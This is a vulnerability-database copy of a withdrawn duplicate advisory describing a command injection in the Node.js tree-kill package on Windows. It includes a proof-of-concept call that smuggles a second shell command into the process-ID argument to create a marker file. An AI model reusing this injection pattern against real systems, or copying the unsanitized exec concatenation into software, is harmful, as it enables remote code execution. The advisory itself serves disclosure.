Lucene search

K
githubGitHub Advisory DatabaseGHSA-MXQ6-VRRR-PPMG
HistoryMay 24, 2022 - 5:04 p.m.

Duplicate Advisory: tree-kill vulnerable to remote code execution

2022-05-2417:04:00
CWE-94
GitHub Advisory Database
github.com
17
vulnerable software
code injection
remote code execution
windows

AI Score

9.9

Confidence

High

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.

Original Description

A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the + operand to concatenate the input into exec()

Steps To Reproduce:

Create the following PoC file:

// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in another terminal:

npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

A new file called HACKED.txt will be created, containing the HACKED string.

Affected configurations

Vulners
Node
tree-kill_projecttree-killRange1.2.1node.js
VendorProductVersionCPE
tree-kill_projecttree-kill*cpe:2.3:a:tree-kill_project:tree-kill:*:*:*:*:*:node.js:*:*

AI Score

9.9

Confidence

High